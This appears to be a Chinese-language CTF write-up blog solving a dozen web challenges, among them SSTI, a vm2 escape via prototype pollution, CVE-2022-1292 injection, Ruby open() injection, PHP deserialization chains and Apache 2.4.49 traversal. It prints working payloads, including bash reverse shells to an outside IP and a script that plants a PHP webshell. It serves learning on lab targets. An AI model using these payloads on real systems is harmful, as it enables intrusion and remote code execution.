image-20241223113620325

拿捏了!

prize_p2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
const { randomBytes } = require('crypto');
const express = require('express');
const fs = require('fs');
const fp = '/app/src/flag.txt';
const app = express();
const flag = Buffer(255);
const a = fs.open(fp, 'r', (err, fd) => {
fs.read(fd, flag, 0, 44, 0, () => {
fs.rm(fp, () => {});
});
});

app.get('/', function (req, res) {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync(__filename));
});

app.get('/hint', function (req, res) {
res.send(flag.toString().slice(0, randomBytes(1)[0]%32));
})

// 随机数预测或者一天之后
app.get('/getflag', function (req, res) {
res.set('Content-Type', 'text/javascript;charset=utf-8');
try {
let a = req.query.a;
if (a === randomBytes(3).toString()) {
res.send(fs.readFileSync(req.query.b));
} else {
const t = setTimeout(() => {
res.send(fs.readFileSync(req.query.b));
}, parseInt(req.query.c)?Math.max(86400*1000, parseInt(req.query.c)):86400*1000);
}
} catch {
res.send('?');
}
})

app.listen(80, '0.0.0.0', () => {
console.log('Start listening')
});

关键点在/getflag,它可以发送请求。

1
2
3
4
5
6
7
8
const fp = '/app/src/flag.txt';
const app = express();
const flag = Buffer(255);
const a = fs.open(fp, 'r', (err, fd) => {
fs.read(fd, flag, 0, 44, 0, () => {
fs.rm(fp, () => {});
});
});

同时,我们注意看这里

/app/src/flag.txt 文件被 open() 打开,但最终没有关闭,虽然删除了该文件,但在 /proc 这个进程的 pid 目录下的 fd 文件描述符目录下还是会有这个文件的文件描述符,通过这个文件描述符我们即可得到被删除文件的内容。/proc/self/fd 这个目录里包含了进程打开文件的情况,目录里面有一堆/proc/self/fd/id文件,id就是进程记录的打开文件的文件描述符的序号。id可爆破猜测获得。

setTimeout是使用Int32来存储延时参数值的,也就是说最大的延时值是2^31-1。 一旦超过了最大值,其效果就跟延时值为0的情况一样。数为 2147483648,即可实现延时为0。

image-20241223130449675

image-20241223130528458

[NSSCTF 2nd]MyHurricane

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import tornado.ioloop
import tornado.web
import os

BASE_DIR = os.path.dirname(__file__)

def waf(data):
bl = ['\'', '"', '__', '(', ')', 'or', 'and', 'not', '{{', '}}']
for c in bl:
if c in data:
return False
for chunk in data.split():
for c in chunk:
if not (31 < ord(c) < 128):
return False
return True

class IndexHandler(tornado.web.RequestHandler):
def get(self):
with open(__file__, 'r') as f:
self.finish(f.read())
def post(self):
data = self.get_argument("ssti")
if waf(data):
with open('1.html', 'w') as f:
f.write(f"""

{data}
""")
f.flush()
self.render('1.html')
else:
self.finish('no no no')

if __name__ == "__main__":
app = tornado.web.Application([
(r"/", IndexHandler),
], compiled_template_cache=False)
app.listen(827)
tornado.ioloop.IOLoop.current().start()

不影响读文件

1
ssti={% extends /etc/passwd %}

image-20241223165932556

这里应该直接非预期了!

正常来做,过滤了括号引号啥的,笔记了解一下

image-20241223170940953

1
ssti={%set _tt_utf8=eval%}{%raw request.body_arguments[request.method][0]%}&POST=__import__('os').popen("bash -c 'bash -i >%26 /dev/tcp/156.238.233.113/4567 <%261'")

image-20241223171201655

额,虽然最后也是在环境变量里找到flag的。。。

[第五空间 2021]EasyCleanup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
 <?php 
if(!isset($_GET['mode'])){
highlight_file(__file__);
}else if($_GET['mode'] == "eval"){
$shell = isset($_GET['shell']) ? $_GET['shell'] : 'phpinfo();';
if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker");
eval($shell);
}


if(isset($_GET['file'])){
if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker");
include $_GET['file'];
}


function filter($var){
$banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"];

foreach($banned as $ban){
if(strstr($var, $ban)) return True;
}

return False;
}

function checkNums($var){
$alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$cnt = 0;
for($i = 0; $i < strlen($alphanum); $i++){
for($j = 0; $j < strlen($var); $j++){
if($var[$j] == $alphanum[$i]){
$cnt += 1;
if($cnt > 8) return True;
}
}
}
return False;
}
?>

方法看上去是有两种的,一种是想办法rce,一种是include来进行文件包含

方法一RCE:

1
?mode=eval&shell=system(~%93%8C%DF%D0);

image-20241223172100977

1
nl /*
1
?mode=eval&shell=system(~%91%93%DF%D0%D5);

image-20241223172424946

方法二:session条件竞争

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import io
import requests
import threading

url = 'http://node4.anna.nssctf.cn:28547/'
sessionid = 'met'

def write(session): # 写入临时文件
while True:
fileBytes = io.BytesIO(b'a'*1024*50) # 50kb
session.post(url, cookies={'PHPSESSID': sessionid}, data={'PHP_SESSION_UPLOAD_PROGRESS': "<?php file_put_contents('/var/www/html/shell.php','<?php eval($_POST[1]);?>');?>"}, files={'file': ('1.jpg', fileBytes)})

def read(session):
while True:
session.get(url+'?file=/tmp/sess_'+sessionid) # 进行文件包含
r = session.get(url+'shell.php') # 检查是否写入一句话木马
if r.status_code == 200:
print('OK')

evnet = threading.Event() # 多线程

session = requests.session()
for i in range(5):
threading.Thread(target=write, args=(session,)).start()
for i in range(5):
threading.Thread(target=read, args=(session,)).start()

evnet.set()

不知道为啥,没成功?!可能是环境问题吧我觉得。。。

[HZNUCTF 2023 final]eznode

打开让我们找源码,扫个目录看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
const express = require('express');
const app = express();
const { VM } = require('vm2');

app.use(express.json());

const backdoor = function () {
try {
new VM().run({}.shellcode);
} catch (e) {
console.log(e);
}
}

const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}


app.get('/', function (req, res) {
res.send("POST some json shit to /. no source code and try to find source code");
});

app.post('/', function (req, res) {
try {
console.log(req.body)
var body = JSON.parse(JSON.stringify(req.body));
var copybody = clone(body)
if (copybody.shit) {
backdoor()
}
res.send("post shit ok")
}catch(e){
res.send("is it shit ?")
console.log(e)
}
})

app.listen(3000, function () {
console.log('start listening on port 3000');
});

有个vm2啊,可能跟vm2的沙箱逃逸有关!

发现一个merge函数,原型链污染的常客,大概就是在页面post传递一个json数据,会经过json.parse函数解析,然后再通过clone()函数复制到copybody变量中,最后判断该变量的shit值是否为真,然后调用backdoor()函数在VM2沙箱中执行{}.shellcode属性。

backdoor函数利用vm2执行shellcode,这个shellcode其他地方没有得传值,所以我们利用原型链污染传递shellcode,污染成VM2沙箱逃逸的payload即可执行任意命令。

1
{"shit":"1","__proto__":{"shellcode":"let res = import('./app.js'); res.toString.constructor('return this')().process.mainModule.require('child_process').execSync(\"bash -c 'bash -i >&/dev/tcp/156.238.233.113/4567 0>&1'\").toString();"}}
image-20241224110506682 image-20241224110501121

拿下,当初vm2没看啊!!

[鹤城杯 2021]EasyP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
 <?php
include 'utils.php';

if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if ($guess === $secret) {
$message = 'Congratulations! The flag is: ' . $flag;
} else {
$message = 'Wrong. Try Again';
}
}

if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("hacker :)");
}

if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
exit("hacker :)");
}

if (isset($_GET['show_source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}else{
show_source(__FILE__);
}
?>
1
http://node4.anna.nssctf.cn:28575/index.php/utils.php/%81?show[source=1

​ 好像也可以url编码绕过?!

[FSCTF 2023]签到plus

扫源码扫到一个shell.php

image-20241225153946378

然后可以看到一个假的flag

去查一一下这个php版本,发现有漏洞

PHP<=7.4.21 Development Server源码泄露漏洞

PHP<=7.4.21时通过php -S开起的WEB服务器存在源码泄露漏洞,可以将PHP文件作为静态文件直接输出源码

https://blog.csdn.net/weixin_46203060/article/details/129350280

https://buaq.net/go-147962.html

1
2
3
4
5
原理:
这里我们稍微解释一下第一个GET和第二个GET的作用分别是什么
第一个GET后的/phpinfo.php是直接访问已存在的phpinfo.php文件(一般可以是访问index.php)
PHP源码中的php_cli_server_request_translate_vpath函数将请求的PHP文件的路径转换为文件系统上的完整路径。如果请求的文件是一个目录,它会检查是否存在索引文件,如index.php或 index.html,并使用其中一个文件的路径(如果找到的话)。这允许服务器响应请求提供正确的文件
而第二个GET后的/请求的是目录而不是文件。此PHP版本提供的代码包括一个检查,以确定请求的文件是应被视为静态文件还是作为PHP文件执行。这是通过检查文件的扩展名来完成的。如果扩展不是.php或.PHP,或者如果扩展名的长度不等于3,则该文件被视为静态文件,因此如果我们把第二个GET请求的内容改为类似1.txt的文件时,php源码将会被以静态文件的方式泄露(即直接访问获取)

image-20241225155117505

image-20241225155204995

直接拿下了。

[CISCN 2022 初赛]online_crt

给了我们源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
import datetime
import json
import os
import socket
import uuid
from cryptography import x509
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.x509.oid import NameOID
from flask import Flask
from flask import render_template
from flask import request

app = Flask(__name__)

app.config['SECRET_KEY'] = os.urandom(16)

def get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress):
root_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
backend=default_backend()
)
subject = issuer = x509.Name([
x509.NameAttribute(NameOID.COUNTRY_NAME, Country),
x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, Province),
x509.NameAttribute(NameOID.LOCALITY_NAME, City),
x509.NameAttribute(NameOID.ORGANIZATION_NAME, OrganizationalName),
x509.NameAttribute(NameOID.COMMON_NAME, CommonName),
x509.NameAttribute(NameOID.EMAIL_ADDRESS, EmailAddress),
])
root_cert = x509.CertificateBuilder().subject_name(
subject
).issuer_name(
issuer
).public_key(
root_key.public_key()
).serial_number(
x509.random_serial_number()
).not_valid_before(
datetime.datetime.utcnow()
).not_valid_after(
datetime.datetime.utcnow() + datetime.timedelta(days=3650)
).sign(root_key, hashes.SHA256(), default_backend())
crt_name = "static/crt/" + str(uuid.uuid4()) + ".crt"
with open(crt_name, "wb") as f:
f.write(root_cert.public_bytes(serialization.Encoding.PEM))
return crt_name


@app.route('/', methods=['GET', 'POST'])
def index():
return render_template("index.html")


@app.route('/getcrt', methods=['GET', 'POST'])
def upload():
Country = request.form.get("Country", "CN")
Province = request.form.get("Province", "a")
City = request.form.get("City", "a")
OrganizationalName = request.form.get("OrganizationalName", "a")
CommonName = request.form.get("CommonName", "a")
EmailAddress = request.form.get("EmailAddress", "a")
return get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress)


@app.route('/createlink', methods=['GET'])
def info():
json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()}
return json.dumps(json_data)


@app.route('/proxy', methods=['GET'])
def proxy():
uri = request.form.get("uri", "/")
client = socket.socket()
client.connect(('localhost', 8887))
msg = f'''GET {uri} HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

'''
client.send(msg.encode())
data = client.recv(2048)
client.close()
return data.decode()

app.run(host="0.0.0.0", port=8888)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package main

import (
"github.com/gin-gonic/gin"
"os"
"strings"
)

func admin(c *gin.Context) {
staticPath := "/app/static/crt/"
oldname := c.DefaultQuery("oldname", "")
newname := c.DefaultQuery("newname", "")
if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") {
c.String(500, "error")
return
}
if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {
err := os.Rename(staticPath+oldname, staticPath+newname)
if err != nil {
return
}
c.String(200, newname)
return
}
c.String(200, "no")
}

func index(c *gin.Context) {
c.String(200, "hello world")
}

func main() {
router := gin.Default()
router.GET("/", index)
router.GET("/admin/rename", admin)

if err := router.Run(":8887"); err != nil {
panic(err)
}
}

主要看一个python文件和一个go文件,先分析一下功能点

先看python文件,/getcrt路由是生成一个crt证书并return给我们,/createlink是一种命令执行

1
c_rehash static/crt/ && ls static/crt/

利用了c_rehash进行执行。这里c_rehash其实存在CVE-2022-1292。

c_rehash是openssl中的一个用perl编写的脚本工具,用于批量创建证书等文件 hash命名的符号链接,是当用户可控文件名时的命令注入

他会执行文件名的内容,当文件名存在反引号时!

cve分析:

https://xz.aliyun.com/t/11703?time__1311=Cq0xRiqiuQDsD7CG7KGODcG7Fit34Eox

然后看/proxy,与自身的8887端口建立连接,8887端口对应go服务,将两种语言联系在了一起。这里的uri是可控的,我们可以通过CRLF构造任意数据包。我们也必须要CRLF来构造,因为存在c.Request.URL.RawPath != “” && c.Request.Host == “admin”

go的RawPath特性:

通过阅读go net库的源码
我发现在go中会对原始url进行反转义操作(URL解码)
如果反转义后再次转义的url与原始url不同 那么RawPath会被设置为原始url 反之置为空

因此我们只要随便对一个斜杠进行url编码即可。

然后就可以构造恶意数据包了。然后通过表单传入uri即可

1
2
3
4
5
6
7
8
9
10
import requests
import urllib.parse

uri='''/admin%2frename?oldname=b58a6a37-6cc5-46bf-a98f-d589a9957a1f.crt&newname=`echo%20bHMgLw==|base64%20-d|bash>flag`.crt HTTP/1.1
Host: admin

GET /'''
gopher = uri.replace("\n","\r\n")
payload=urllib.parse.quote(gopher)
print(payload)

此处的作用是ls /

image-20241227153626689

成功后/createlink一下让他执行命令。

然后去/static/crt/访问即可

image-20241227153710490

同理可读flag

1
NSSCTF{ee493ebd-0ef5-4594-baa9-ec7ad1a5f601}

[第五空间 2021]PNG图片转换器

给了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
require 'sinatra'
require 'digest'
require 'base64'

get '/' do
open("./view/index.html", 'r').read()
end

get '/upload' do
open("./view/upload.html", 'r').read()
end

post '/upload' do
unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png'
return "<script>alert('error');location.href='/upload';</script>"
end
begin
filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png'
open(filename, 'wb') { |f|
f.write open(params[:file][:tempfile],'r').read()
}
"Upload success, file stored at #{filename}"
rescue
'something wrong'
end

end

get '/convert' do
open("./view/convert.html", 'r').read()
end

post '/convert' do
begin
unless params['file']
return "<script>alert('error');location.href='/convert';</script>"
end

file = params['file']
unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
return "<script>alert('dont hack me');</script>"
end
res = open(file, 'r').read()
headers 'Content-Type' => "text/html; charset=utf-8"
"var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"
rescue
'something wrong'
end
end

上传后的文件也只能是png后缀的,文件上传漏洞是不太可能存在的。

这里考察的是ruby的file open漏洞

1
open()函数可以进行命令执行

将文件名构造成恶意payload即可。

1
file=|`echo+ZW52|base64+-d`;cat+1.png

image-20241230171141882

image-20241230171148314
1
NSSCTF{d95c546d-fb51-4696-b923-66d3758d20c6}

[GHCTF 2024 新生赛]ezzz_unserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
 <?php
/**
* @Author: hey
* @message: Patience is the key in life,I think you'll be able to find vulnerabilities in code audits.
* Have fun and Good luck!!!
*/
error_reporting(0);
class Sakura{
public $apple;
public $strawberry;
public function __construct($a){
$this -> apple = $a;
}
function __destruct()
{
echo $this -> apple;
}
public function __toString()
{
$new = $this -> strawberry;
return $new();
}

}

class NoNo {
private $peach;

public function __construct($string) {
$this -> peach = $string;
}

public function __get($name) {
$var = $this -> $name;
$var[$name]();
}
}

class BasaraKing{
public $orange;
public $cherry;
public $arg1;
public function __call($arg1,$arg2){
$function = $this -> orange;
return $function();
}
public function __get($arg1)
{
$this -> cherry -> ll2('b2');
}

}

class UkyoTachibana{
public $banana;
public $mangosteen;

public function __toString()
{
$long = @$this -> banana -> add();
return $long;
}
public function __set($arg1,$arg2)
{
if($this -> mangosteen -> tt2)
{
echo "Sakura was the best!!!";
}
}
}

class E{
public $e;
public function __get($arg1){
array_walk($this, function ($Monday, $Tuesday) {
$Wednesday = new $Tuesday($Monday);
foreach($Wednesday as $Thursday){
echo ($Thursday.'<br>');
}
});
}
}

class UesugiErii{
protected $coconut;

protected function addMe() {
return "My time with Sakura was my happiest time".$this -> coconut;
}

public function __call($func, $args) {
call_user_func([$this, $func."Me"], $args);
}
}
class Heraclqs{
public $grape;
public $blueberry;
public function __invoke(){
if(md5(md5($this -> blueberry)) == 123) {
return $this -> grape -> hey;
}
}
}

class MaiSakatoku{
public $Carambola;
private $Kiwifruit;

public function __set($name, $value)
{
$this -> $name = $value;
if ($this -> Kiwifruit = "Sakura"){
strtolower($this-> Carambola);
}
}
}

if(isset($_POST['GHCTF'])) {
unserialize($_POST['GHCTF']);
} else {
highlight_file(__FILE__);
}

看上去有点多,但是链子不长。

从后往前找,找rce的地方或者文件读取的地方。

1
2
3
4
5
array_walk($this, function ($Monday, $Tuesday) {
$Wednesday = new $Tuesday($Monday);
foreach($Wednesday as $Thursday){
echo ($Thursday.'<br>');
}

这东西怎么跟原生类的foreach这么像呢??查一下array_walk,发现是调用回调函数的一个函数

image-20241231103913709

尾部找到了,往上找,

E类的get魔术方法,调用不存在的属性

1
2
3
4
5
6
7
8
9
class Heraclqs{
public $grape;
public $blueberry;
public function __invoke(){
if(md5(md5($this -> blueberry)) == 123) {
return $this -> grape -> hey;
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class Sakura{
public $apple;
public $strawberry;
public function __construct($a){
$this -> apple = $a;
}
function __destruct()
{
echo $this -> apple;
}
public function __toString()
{
$new = $this -> strawberry;
return $new();
}

}

链子结束:

1
E::__get() -> Heraclqs::__invoke() ->Sakura::__toString() ->Sakura::__destruct()

这里需要绕过的就是md5,很简单,我有脚本的。

然后需要注意的就是array_walk了!

先自己本地测一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
error_reporting(0);
class E{
public $e;
public function print(){
array_walk($this, function ($Monday, $Tuesday) {
echo "Monday => ".$Monday." | ";
echo "Tuesday => ".$Tuesday." | ";
// $Wednesday = new $Tuesday($Monday);
foreach($Wednesday as $Thursday){
echo ($Thursday.'<br>');
}
});
}
}
$a = new E();
$a->e = "123";
$a->aaaa = "321";
$a->print();

#Monday => 123 | Tuesday => e | Monday => 321 | Tuesday => aaaa |

ok知道怎么利用了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
class Sakura{
public $apple;
public $strawberry;

function __destruct()
{
echo $this -> apple;
}
public function __toString()
{
$new = $this -> strawberry;
return $new();
}

}

class E{
public $e;
public function __get($arg1){
array_walk($this, function ($Monday, $Tuesday) {
$Wednesday = new $Tuesday($Monday);
foreach($Wednesday as $Thursday){
echo ($Thursday.'<br>');
}
});
}
}

class Heraclqs{
public $grape;
public $blueberry='5659';
public function __invoke(){
if(md5(md5($this -> blueberry)) == 123) {
return $this -> grape -> hey;
}
}
}

$sakura = new Sakura();
$sakura->strawberry=new Heraclqs();
$sakura->apple=$sakura;
$sakura->strawberry->grape=new E();
$sakura->strawberry->grape->SplFileObject='/1_ffffffflllllagggggg';
echo urlencode(serialize($sakura));
image-20241231104320343

[NSSRound#4 SWPU]ez_rce

打开后页面里啥也没有,扫目录也没什么特别关键的信息。

image-20250101090545818

看到一堆cgi??看上去像是任意文件读取,但是复制粘贴过去发现不行,看看框架。

image-20250101090618525

Apache2.4.49,搜下有没有洞。

image-20250101090736212

image-20250101091459532

路径穿越

但我们直接试cgi-bin目录下是不可以的。

但是这个可以/cgi-bin/test-cgi

然后我们就可以

image-20250101091449658

可以grep遍历

1
echo;grep -r "NSS" /flag_is_here

image-20250101091544695

1
NSSCTF{5949084d-677b-43d8-ae0e-f156c491e4f2}

[ASIS 2019]Unicorn shop

image-20250101085153202

这里先尝试id1,和价格2

image-20250101085554674

这里显示商品错误

然后尝试id,1,2,3都是一样的错误

id=4时,输入1337的错误是only one char

只能输入一个字符

这里利用的漏洞是unicode安全问题,是关于Unionde等价性的漏洞

这里由于只能输入一个字符,所以这里利用了utf-8编码

两个不同编码的Unicode字符可能存在一定的等价性,这种等价是字符或字符序列之间比较弱的等价类型,这些变体形式可能代表在某些字体或语境中存在视觉上或意义上的相似性。

这里在compart网站上找一个大于1337的值,于是我们需要找到一个字符比1337大的数字

https://www.compart.com/en/unicode/

在搜索框中搜索thousand

这里我选择了罗马数字十万,数值是100000

utf-8的值是0xE2 0x86 0x88

这里直接使用utf-8的话是不行的

将utf-8的值中的0x变为%

%E2%86%88

image-20250101085700376

[NSSRound#17 Basic]真·签到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
if (isset($_GET['nss'])){
if ($_GET['nss'] == 732339662){
assert("is_numeric($_GET[nss])==0") || die('oops!此路不通!!');
echo $FLAG;
} else{
echo "这里不是说了吗!!!必须是 732339662 (招新群群号!)";
}
}else{
echo "啊?这是什么新型比较?";
echo "<br/>";
echo "是不是题错了啊";
}

可以发现关键点是 $_GET['nss'] == 732339662assert("is_numeric($_GET[nss])==0")

此处 assret 直接采用字符串 assert, 也就是说传入的变量会被直接解析出来拼接到代码中

弱比较的话只需要字符串前面是相同数字, 后面无论拼接了什么都不会管了

于是我们什么都可以构造, 比如 732339662) or (1 即可拿 flag

[NSSRound#16 Basic]了解过PHP特性吗

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
error_reporting(0);
highlight_file(__FILE__);
include("rce.php");
$checker_1 = FALSE;
$checker_2 = FALSE;
$checker_3 = FALSE;
$checker_4 = FALSE;
$num = $_GET['num'];
if (preg_match("/[0-9]/", $num)) {
die("no!!");
}
if (intval($num)) {
$checker_1 = TRUE;
}
if (isset($_POST['ctype']) && isset($_POST['is_num'])) {
$ctype = strrev($_POST['ctype']);
$is_num = strrev($_POST['is_num']);
if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {
$checker_2 = TRUE;
}
}
$_114 = $_GET['114'];
$_514 = $_POST['514'];
if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {
if (!is_numeric($_514) && $_514 > 9999999) {
$checker_3 = TRUE;
}
}
$arr4y = $_POST['arr4y'];
if (is_array($arr4y)) {
for ($i = 0; $i < count($arr4y); $i++) {
if ($arr4y[$i] === "NSS") {
die("no!");
}
$arr4y[$i] = intval($arr4y[$i]);
}
if (array_search("NSS", $arr4y) === 0) {
$checker_4 = TRUE;
}
}
if ($checker_1 && $checker_2 && $checker_3 && $checker_4) {
echo $rce;
}

首先看num:

1
2
3
4
5
6
if (preg_match("/[0-9]/", $num)) {
die("no!!");
}
if (intval($num)) {
$checker_1 = TRUE;
}

不能匹配到数字,intval后又要等于1.

可以用非空数组绕过,?num[]=1这里的1不会被正则匹配到。

然后看这里:

1
2
3
4
5
6
7
if (isset($_POST['ctype']) && isset($_POST['is_num'])) {
$ctype = strrev($_POST['ctype']);
$is_num = strrev($_POST['is_num']);
if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {
$checker_2 = TRUE;
}
}

md5绕过,找一个纯字母的和一个纯数字的反一下就好。

1
ctype=YcGyb&is_num=807016042

然后:

1
2
3
4
5
if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {
if (!is_numeric($_514) && $_514 > 9999999) {
$checker_3 = TRUE;
}
}

?114=1e9&514=99999999999a即可。

最后:

1
2
3
4
5
6
7
8
9
10
11
if (is_array($arr4y)) {
for ($i = 0; $i < count($arr4y); $i++) {
if ($arr4y[$i] === "NSS") {
die("no!");
}
$arr4y[$i] = intval($arr4y[$i]);
}
if (array_search("NSS", $arr4y) === 0) {
$checker_4 = TRUE;
}
}

数组中不能匹配到NSS且数组的值被intval过了,不可能为NSS。此处有一个array_search,是弱比较,0==0绕过即可,NSS与数字比较时为0.因此array[]=0即可。索引也是0,符合。

[SWPU 2016]web400

源码没有给,只能去wp里面找了。

common.php

1
2
3
4
5
6
7
8
9
10
foreach(Array("_POST","_GET","_COOKIE") as $key){
foreach($$key as $k => $v){
if(is_array($v)){
die("hello,hacker!");
}
else{
$k[0] !='_'?$$k = addslashes($v):$$k = "";
}
}
}

riji.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
if (@$_SESSION['login'] !== 1)
{
header('Location:/web/index.php');
exit();
}
if($_SESSION['user'])
{
$username = $_SESSION['user'];
@mysql_conn();
$sql = "select * from user where name='$username'";
$result = @mysql_fetch_array(mysql_query($sql));
mysql_close();
if($result['userid'])
{
$id = intval($result['userid']);
}
}

<?php
@mysql_conn();
$sql1 = "select * from msg where userid= $id order by id";
$query = mysql_query($sql1);
$result1 = array();
while($temp=mysql_fetch_assoc($query)) {
$result1[]=$temp;
}
mysql_close();
foreach($result1 as $x=>$o)
{
echo display($o['msg']);
}
?>

api.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
<?php

require_once("common.php");
session_start();

if (@$_SESSION['login'] === 1){
header('Location:/web/riji.php');
exit();
}
class admin {
var $name;
var $check;
var $data;
var $method;
var $userid;
var $msgid;

function check(){
$username = addslashes($this->name);
@mysql_conn();
$sql = "select * from user where name='$username'";
$result = @mysql_fetch_array(mysql_query($sql));
mysql_close();
if(!empty($result)){

if($this->check === md5($result['salt'] . $this->data . $username)){
echo '(=-=)!!';
if($result['role'] == 1){
return 1;
}
else{
return 0;
}
}
else{
return 0;
}
}
else{
return 0;
}
}

function do_method(){
if($this->check() === 1){
if($this->method === 'del_msg'){
$this->del_msg();
}
elseif($this->method === 'del_user'){
$this->del_user();
}
else{
exit();
}
}
}

function del_msg(){
if($this->msgid)
{
$msg_id = intval($this->msgid);
@mysql_conn();
$sql1 = "DELETE FROM msg where id='$msg_id'";
if(mysql_query($sql1)){
echo('<script>alert("Delete message success!!")</script>');
exit();
}
else{
echo('<script>alert("Delete message wrong!!")</script>');
exit();
}
mysql_close();
}
else{
echo('<script>alert("Check Your msg_id!!")</script>');
exit();
}
}

function del_user(){
if($this->userid){
$user_id = intval($this->userid);
if($user_id == 1){
echo('<script>alert("Admin can\'t delete!!")</script>');
exit();
}
@mysql_conn();
$sql2 = "DELETE FROM user where userid='$user_id'";
if(mysql_query($sql2)){
echo('<script>alert("Delete user success!!")</script>');
exit();
}
else{
echo('<script>alert("Delete user wrong!!")</script>');
exit();
}

mysql_close();
}
else{
echo('<script>alert("Check Your user_id!!")</script>');
exit();
}
}
}

$a = unserialize(base64_decode($api));
$a->do_method();
?>

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
if(@$login==1)
{

@mysql_conn();
$sql = "select * from user where name='$username'";
$result = @mysql_fetch_array(mysql_query($sql));
mysql_close();
if (!empty($result))
{

if($result['passwd'] == md5($password))
{
$user_cookie = '';
$user_cookie .= $result['userid'];
$user_cookie .= $result['name'];
$user_cookie .= $result['salt'];
$cookies = base64_encode($user_cookie);
//$cookies = $user_cookie;
setcookie("user",$cookies,time()+60,'/web/');
$_SESSION['login'] = 1;
$_SESSION['user'] = $username;
header('Location:/web/riji.php');
}
else
{
